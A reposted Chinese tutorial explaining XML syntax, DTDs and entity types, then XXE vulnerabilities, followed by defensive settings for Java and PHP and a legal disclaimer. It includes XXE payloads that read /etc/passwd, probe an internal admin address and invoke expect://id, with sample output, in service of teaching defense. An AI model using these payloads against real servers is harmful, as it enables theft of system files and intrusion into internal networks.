從零掌握XML與DTD實體:原理、XXE漏洞攻防

本文僅用于技術研究,禁止用于非法用途。
Author:枷鎖

文章目錄

  • 一、XML基礎
    • 1. 什么是XML?
    • 2. XML語法規則
    • 3. 數據類型
  • 二、DTD
    • 1. 認識DTD
    • 2. 聲明DTD
    • 3. DTD實體
    • 4. 如何防御XXE攻擊?
    • 5. 總結

一、XML基礎

1. 什么是XML?

XML : 可擴展標記語言(Extensible Markup Language)是一種用于??結構化存儲和傳輸數據??的文本格式標記語言。XML用于標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。

XML 就是讓你用自己定義的標簽(比如 <價格>3999</價格>)把數據包成純文本,讓不同系統和軟件都能讀懂的一種通用數據格式。

作用:XML的設計宗旨是傳輸數據,不是顯示數據。XML在web中的應用已十分廣泛。XML是各種應用程序之間數據傳輸最常用的格式。與HTML的區別在于一個被設計用來展示數據,一個用來傳輸數據
特點 :

  • XML 的設計宗旨是傳輸數據,而非顯示數據;
  • XML 標簽沒有被預定義,需要自行定義標簽;
  • XML 被設計為具有自我描述性;
  • XML 是 W3C 的推薦標準。

與 HTML 相比:

  1. HTML 用于定義數據的展示,專注于它應該是什么樣子;XML 用于傳輸和存儲數據。
  2. 都是用標簽組織文本內容,但是XML沒有預定義的標簽。
    XML文檔結構包括XML聲明(可選)、DTD文檔類型定義(可選)、文檔元素。下面是一個XML文檔實例:
<?xml version="1.0" encoding="UTF-8"?> <!--XML 聲明-->
<girls><girl><hair>短頭發</hair><eye>大眼睛</eye><face>可愛的臉龐</face><summary age="23">我最愛的女孩</summary></girl>
</girls>

說明:

  1. 第一行是 XML 聲明。它定義 XML 的版本(1.0)和所使用的編碼(UTF-8)。
  2. XML注釋:。
  3. 第二行是文檔的根元素(girls)。
  4. 后面就是子元素以及元素結尾。
  5. 整個XML是一種樹形結構(根節點,子節點)。
    元素:XML 元素指的是從開始標簽直到結束標簽的部分(包括標簽)。一個元素可以包含:
  6. 其他元素(子元素)
  7. 文本
  8. 屬性

2. XML語法規則

  • XML 聲明文件是可選部分,如果存在需要放在文檔的第一行。
  • XML 必須包含根元素,它是所有其他元素的父元素。上文中的girls就是根元素。

(1) 所有 XML 元素都必須有關閉標簽(成雙成對出現)
在 XML 中,省略關閉標簽是非法的。所有元素都必須有關閉標簽:

<p>This is a paragraph</p>
<p>This is another paragraph</p>

注釋:XML 聲明沒有關閉標簽。這不是錯誤。聲明不屬于XML本身的組成部分。它不是 XML 元素,也不需要關閉標簽。
(2) XML 標簽對大小寫敏感
XML 標簽對大小寫敏感。在 XML 中,標簽必須使用相同的大小寫來編寫打開標簽和關閉標簽:

 <Message>這是錯誤的。</message>
<message>這是正確的。</message>

(3) XML 必須正確地嵌套
在 XML 中,所有元素都必須彼此正確地嵌套:

<b><i>This text is bold and italic</i></b>

(4) XML 的屬性值須加引號
與 HTML 類似,XML 也可擁有屬性(名稱/值的對)。
在 XML 中,XML 的屬性值須加引號。請研究下面的兩個 XML 文檔。第一個是錯誤的,第二個是正確的:

<note date=08/08/2008>
<to>George</to>
<from>John</from>
</note>
<note date="08/08/2008">
<to>George</to>
<from>John</from>
</note>

在第一個文檔中的錯誤是,note 元素中的 date 屬性沒有加引號。

3. 數據類型

主要有兩種數據類型:

  1. PCDATA:被解析的字符數據,其中的標簽會被當作標記來處理,而實體會被展開。
  2. CDATA:不被解析的字符數據,其中的標簽不會被當作標記來對待,其中的實體也不會被展開。

二、DTD

1. 認識DTD

DTD(Document Type Definition)文檔類型定義。
DTD是用來控制文檔的一個格式規范的,由 XML 設計者或作者開發。
在DTD中定義了XML中存在什么標簽、擁有什么屬性、以及其它元素里面有什么元素等。

??DTD(文檔類型定義)是XML的“語法說明書”??,用來規定XML文檔里能寫哪些標簽、標簽怎么嵌套、哪些屬性必須填 —— 就像老師批改作文時用的《寫作格式要求》。

下面是一個DTD文檔的實例:

<!ELEMENT girls (girl)*>
<!ELEMENT girl (hair, eye, face, summary)>
<!ELEMENT hair (#PCDATA)>
<!ELEMENT eye (#PCDATA)>
<!ELEMENT face (#PCDATA)>
<!ELEMENT summary (#PCDATA)>
<!ATTLIST summary age CDATA "0">

說明:

  1. 第一行定義了girls元素,它可以有任意個girl子元素,其中型號(*)表示出現0次或者多次。
  2. 第二行定義了girl元素,它有4個子元素,并且在girl中必須且只能出現一次。
  3. 第三行定義了hair元素,該元素的數據類型為PCDATA。
  4. 第七行聲明了summary元素的age屬性,屬性類型是CDATA,默認值是“0”。

2. 聲明DTD

第一個例子中 XML 文檔并不包含標簽定義,它由我們第二個例子的 DTD 來完成。XML文檔要使用
DTD定義的標簽,就要先聲明DTD。DTD 可被成行地聲明于 XML 文檔中,也可作為一個外部引用。
(1) 內部聲明DTD

  • 內部聲明必須使用<!DOCTYPE>元素.

(2) 外部引用DTD
我們可以從外部的dtd文件中引用(這也是xxe漏洞產生的原因)。引用格式為:

<!DOCTYPE 根元素 SYSTEM "URL">

比如:

 <?xml version="1.0" encoding="UTF-8"?> <!--XML 聲明-->
<!DOCTYPE girls SYSTEM "girls.dtd">
<girls><girl><hair>短頭發</hair><eye>大眼睛</eye><face>可愛的臉龐</face><summary age="23">我最愛的女孩</summary></girl>
</girls>

URL中常見的協議有:
在這里插入圖片描述

3. DTD實體

實體(ENTITY):如果在 XML 文檔中需要頻繁使用某一條數據,我們可以預先給這個數據起一個別名
(類似于變量),即一個ENTITY,然后在文檔中調用它。
實體是用于定義引用普通文本或特殊字符的快捷方式的變量。

實體可以分為通用實體和參數實體,都可以內部聲明或者外部引用。

1. DTD實體是什么?
DTD實體(Entity) 是XML文檔中的一種“變量”或“占位符”,它允許你定義一個值(比如一段文本、一個文件內容、甚至一個網絡請求的結果),然后在XML文檔中通過 &實體名; 來引用它。

類比理解

  • 就像編程里的變量
    author = "劉慈欣"  # 定義變量
    print(author)     # 使用變量
    
    XML里類似:
    <!ENTITY author "劉慈欣">  <!-- 定義實體 -->
    
    <作者>&author;</作者>  <!-- 使用實體 -->
    
    最終解析時會變成:
    <作者>劉慈欣</作者>
    

2. DTD實體的分類
DTD實體主要分為 3種類型,每種有不同的用途:

(1)內部實體(存儲固定文本)
作用:定義一個固定的字符串,在XML里復用。
語法

<!ENTITY 實體名 "文本內容">

示例

<!ENTITY book_title "三體">
<!ENTITY book_author "劉慈欣">

XML調用

<><書名>&book_title;</書名><作者>&book_author;</作者>
</>

解析后

<><書名>三體</書名><作者>劉慈欣</作者>
</>

(2)外部實體(加載外部文件或URL)
作用:引用外部文件、網頁、甚至系統命令的結果。
語法

<!ENTITY 實體名 SYSTEM "文件路徑或URL">

示例

<!ENTITY secret_file SYSTEM "file:///etc/passwd">  <!-- 讀取Linux密碼文件 -->
<!ENTITY website SYSTEM "http://example.com/data.txt">  <!-- 加載網頁內容 -->

XML調用

<數據>&secret_file;</數據>

解析后

<數據>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...</數據>

?? 這是黑客攻擊的入口!(后面會講XXE漏洞)


(3)參數實體(DTD內部復用)
作用:在DTD內部定義可復用的規則(普通XML不能直接調用)。
語法

<!ENTITY % 實體名 "DTD規則">

示例

<!ENTITY % book_rule "書名, 作者, 價格">
<!ELEMENT 書籍 (%book_rule;)>

解析后

<書籍><書名>三體</書名><作者>劉慈欣</作者><價格>59.9</價格>
</書籍>

3. DTD實體的安全風險(XXE漏洞)
XXE漏洞:
XXE(XML External Entity) 漏洞是指攻擊者利用 外部實體 加載惡意內容,比如:

  • 讀取服務器上的敏感文件(/etc/passwdC:\Windows\win.ini
  • 掃描內網服務(http://192.168.1.1/admin
  • 發起SSRF攻擊(讓服務器訪問惡意網站)

攻擊示例
(1)讀取本地文件

<?xml version="1.0"?>
<!DOCTYPE hack [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>&xxe;</user>

服務器返回

<user>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...</user>

(2)掃描內網

<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/admin">

如果服務器返回數據,說明內網存在管理后臺。

(3)遠程代碼執行(某些環境下)

<!ENTITY xxe SYSTEM "expect://id">

可能返回當前用戶權限(uid=0(root))。


4. 如何防御XXE攻擊?

開發者應該怎么做?

  1. 禁用DTD和外部實體解析(最有效)

    • Java示例
      DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
      dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
      
    • PHP示例
      libxml_disable_entity_loader(true);
      
  2. 輸入過濾

    • 檢查XML是否包含 <!DOCTYPE<!ENTITY
  3. 使用JSON替代XML

    • 現代API推薦用JSON(沒有實體解析風險)。

安全測試如何檢測XXE?

  1. 提交測試Payload:
    <?xml version="1.0"?>
    <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    <data>&xxe;</data>
    
  2. 觀察響應是否包含 /etc/passwd 的內容。

5. 總結

關鍵點說明
DTD實體是什么XML的“變量”,用于復用數據
內部實體存儲固定文本,如 <!ENTITY name "Alice">
外部實體加載文件/URL,黑客利用它讀文件(XXE漏洞)
參數實體DTD內部復用規則,如 <!ENTITY % rule "a,b,c">
XXE漏洞攻擊者通過外部實體讀取 /etc/passwd
防御方法禁用外部實體解析 + 輸入過濾

一句話記住DTD實體
DTD實體是XML的變量,外部實體可能被黑客利用讀取服務器文件(XXE漏洞),必須禁用!
DTD實體是XXE漏洞的根源,安全開發必須禁用外部實體解析!

宇宙級免責聲明??
🚨 重要聲明:本文僅供合法授權下的安全研究與教育目的!🚨
1.合法授權:本文所述技術僅適用于已獲得明確書面授權的目標或自己的靶場內系統。未經授權的滲透測試、漏洞掃描或暴力破解行為均屬違法,可能導致法律后果(包括但不限于刑事指控、民事訴訟及巨額賠償)。
2.道德約束:黑客精神的核心是建設而非破壞。請確保你的行為符合道德規范,僅用于提升系統安全性,而非惡意入侵、數據竊取或服務干擾。
3.風險自擔:使用本文所述工具和技術時,你需自行承擔所有風險。作者及發布平臺不對任何濫用、誤用或由此引發的法律問題負責。
4.合規性:確保你的測試符合當地及國際法律法規(如《計算機欺詐與濫用法案》(CFAA)、《通用數據保護條例》(GDPR)等)。必要時,咨詢法律顧問。
5.最小影響原則:測試過程中應避免對目標系統造成破壞或服務中斷。建議在非生產環境或沙箱環境中進行演練。
6.數據保護:不得訪問、存儲或泄露任何未授權的用戶數據。如意外獲取敏感信息,應立即報告相關方并刪除。
7.免責范圍:作者、平臺及關聯方明確拒絕承擔因讀者行為導致的任何直接、間接、附帶或懲罰性損害責任。

🔐 安全研究的正確姿勢:
? 先授權,再測試
? 只針對自己擁有或有權測試的系統
? 發現漏洞后,及時報告并協助修復
? 尊重隱私,不越界

?? 警告:技術無善惡,人心有黑白。請明智選擇你的道路。

希望這個教程對你有所幫助!記得負責任地進行安全測試。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/915139.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/915139.shtml
英文地址,請注明出處:http://en.pswp.cn/news/915139.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

.NET 8 Release Candidate 1 (RC1)現已發布,包括許多針對ASP.NET Core的重要改進!

.NET 8 Release Candidate 1 (RC1)發布&#xff1a;ASP.NET Core重大改進來襲&#xff01; 近日&#xff0c;.NET 8 Release Candidate 1 (RC1)正式發布&#xff0c;這是在今年晚些時候計劃發布的最終 .NET 8 版本之前的兩個候選版本中的第一個。此版本包含了大部分計劃中的功…

Jenkins pipeline 部署docker通用模板

Jenkinsfile: Docker的NETWORK_NAME不要使用bridge默認網絡&#xff0c;要使用自定義的網絡如test默認 bridge 網絡&#xff1a;容器間不能用名字互相訪問&#xff0c;只能用 IP。自定義網絡&#xff1a;容器間可以用名字互相訪問&#xff0c;Docker 自動做了 DNS 解析。pipeli…

【每日算法】專題十五_BFS 解決 FloodFill 算法

1. 算法思想 Flood Fill 問題的核心需求 給定一個二維網格&#xff08;如像素矩陣&#xff09;、一個起始坐標 (x, y) 和目標顏色 newColor&#xff0c;要求&#xff1a; 將起始點 (x, y) 的顏色替換為 newColor。遞歸地將所有與起始點相鄰&#xff08;上下左右&#xff09; …

ESLint 完整功能介紹和完整使用示例演示

以下是ESLint的完整功能介紹和完整使用示例演示&#xff1a; ESLint 完整功能介紹 一、核心功能靜態代碼分析&#xff1a; 通過解析JavaScript/TypeScript代碼為抽象語法樹&#xff08;AST&#xff09;&#xff0c;識別語法錯誤、潛在問題&#xff08;如未定義變量、未使用變量…

解決問題七大步驟

發現問題后尋找解決方案的流程可以細化為 7個核心步驟&#xff0c;每個步驟包含具體措施、信息源和關鍵技巧&#xff0c;形成“從自查到驗證、從獨立解決到尋求幫助”的完整閉環。以下是完善后的流程&#xff1a; 一、明確問題與初步自查&#xff08;前提&#xff1a;減少無效搜…

思維鏈(CoT)技術全景:原理、實現與前沿應用深度解析

一、核心概念與原理 定義與起源 CoT 是一種引導大語言模型&#xff08;LLM&#xff09;顯式生成中間推理步驟的技術&#xff0c;通過模擬人類逐步解決問題的過程&#xff0c;提升復雜任務&#xff08;如數學證明、多步邏輯推理&#xff09;的準確性。該概念由 Google Brain 團…

實驗-華為綜合

華為綜合實驗 一 實驗拓撲二 實驗配置交換機2 vlan batch 10 20 int e0/0/2 port link-type access port default vlan 10 int e0/0/1 port link-type access port default vlan 20 int e0/0/3 port link-type trunk port trunk allow-pass vlan alltelnet交換機3 鏈路類型配置…

Matlab打開慢、加載慢的解決辦法

安裝完畢后直接打開會非常慢&#xff0c;而且打開了之后還得加載很久才能運行 解決辦法如下&#xff1a; 1.找到路徑“D:\Program Files\Polyspace\R2020a\licenses”&#xff08;我是把matlab安裝在D盤了&#xff0c;如果是其他盤修改路徑即可&#xff09;&#xff0c;該路徑記…

混沌趨勢指標原理及交易展示

1. 引言在金融市場交易中&#xff0c;尤其是加密貨幣合約交易&#xff0c;趨勢跟蹤是最主流的策略之一。然而&#xff0c;傳統趨勢指標如均線、MACD等存在明顯的滯后性&#xff0c;往往在趨勢確立后才發出信號&#xff0c;導致交易者錯失最佳入場時機。更糟糕的是&#xff0c;市…

Java面試寶典:Maven

一、Maven的本質與核心價值 項目管理革命 POM驅動:通過pom.xml文件定義項目結構、依賴、構建規則,實現標準化管理()。示例配置: <dependencies> <dependency> <groupId>org.springframework

可靠消息最終一致性分布式事務解決方案

之前文章寫過主流的一些 分布式事務的解決方案&#xff0c;但其實工作中很少有一些高并發的業務中去使用這些方案&#xff0c;因為對于高并發的場景來說&#xff0c;引入這些方案的性能損耗太大&#xff0c;且對系統事務侵入性太強影響系統穩定性。 所以在高并發的業務中&…

ISIS基礎

拓撲計算方式 模型 支持的網絡 支持的地址OSPF SPF TCP/IP IP網絡 IPv4地址ISIS SPF OSI CLNP網絡 NSAP地址集成ISIS SPF TCP/IP IP網絡 NSAP地址&#xff0c;但可以支持IPv4地址12. …

基于ASP.NET+SQL Server實現(Web)排球賽事網站

排球賽事網的設計與實現摘要隨著近幾年來計算機技術、網絡技術及相應軟件技術的迅猛發展&#xff0c;人們的生活已越來越離不開計算機了&#xff0c;而且總是要花費很多時間在它上面。一直以來&#xff0c;排球作為一項大眾喜愛的運動&#xff0c;得到廣泛傳播。隨著各項排球賽…

【PTA數據結構 | C語言版】根據后序和中序遍歷輸出前序遍歷

本專欄持續輸出數據結構題目集&#xff0c;歡迎訂閱。 文章目錄題目代碼題目 本題要求根據給定的一棵二叉樹的后序遍歷和中序遍歷結果&#xff0c;輸出該樹的前序遍歷結果。 輸入格式: 第一行給出正整數 n (≤30)&#xff0c;是樹中結點的個數。隨后兩行&#xff0c;每行給出…

Java HashMap高頻面試題深度解析

在 Java 面試中&#xff0c;HashMap 是必問的核心知識點&#xff0c;以下是高頻問題和深度解析框架&#xff0c;助你系統性掌握&#xff1a;一、基礎概念HashMap 的本質是什么&#xff1f; 基于哈希表的 Map 接口實現&#xff0c;存儲鍵值對&#xff08;Key-Value&#xff09;非…

GitHub Pages無法訪問以點號.開頭的目錄

目錄 前言 Jekyll 是什么 啟用訪問 總結 前言 一些前端項目經常會使用GitHub Pages進行部署展示&#xff0c;但是GitHub Pages 使用的是 Jekyll 引擎&#xff0c;對 Jekyll 引擎不熟悉的小伙伴就會出現如文章標題所言的情況。 Jekyll 是什么 Jekyll 是 GitHub Pages 默認…

JS JSON.stringify介紹(JS序列化、JSON字符串 )(遍歷輸入值的所有可枚舉屬性,將其轉換為文本表示)緩存序列化、狀態管理與時間旅行、replacer

文章目錄JSON.stringify 全解析1. 基本概念2. 序列化原理1. 對于原始類型&#xff0c;直接轉換為對應的字符串表示2. 對于對象和數組&#xff0c;遞歸處理其每個屬性或元素3. 應用特殊規則處理日期、函數、Symbol 等特殊類型4. 檢測并防止循環引用5. 應用 replacer 函數或數組進…

SQLite / LiteDB 單文件數據庫為何“清空表后仍占幾 GB”?——原理解析與空間回收實戰

關鍵詞&#xff1a; SQLite、LiteDB、VACUUM、WAL、auto_vacuum、文件瘦身、數據庫維護在嵌入式或桌面、IoT 網關等場景&#xff0c;很多同學都會選擇單文件數據庫&#xff08;SQLite、LiteDB、SQL CE…&#xff09;。 最近群里一位朋友反饋&#xff1a;“我的 test.db 已經把業…

如何加固Web服務器的安全?

Web服務器是用戶和公司聯系的橋梁&#xff0c;Web服務器為用戶交付網頁內容和提供Web應用。正因為Web服務器是面向互聯網的&#xff0c;所以成為了網絡的攻擊經常利用的一個入口。Web 服務器是企業數字化轉型的 “前沿陣地”&#xff0c;其安全性不僅關乎技術層面的穩定運行&am…

MyBatis:配置文件完成增刪改查_添加

1 實現添加操作 編寫接口方法:Mapper接口編寫sql語句&#xff1a;sql映射文件<insert id"add">insert into tb_brand(brand_name,company_name,ordered,description,status)values(#{brandName},#{companyName},#{ordered},#{description},#{status});</ins…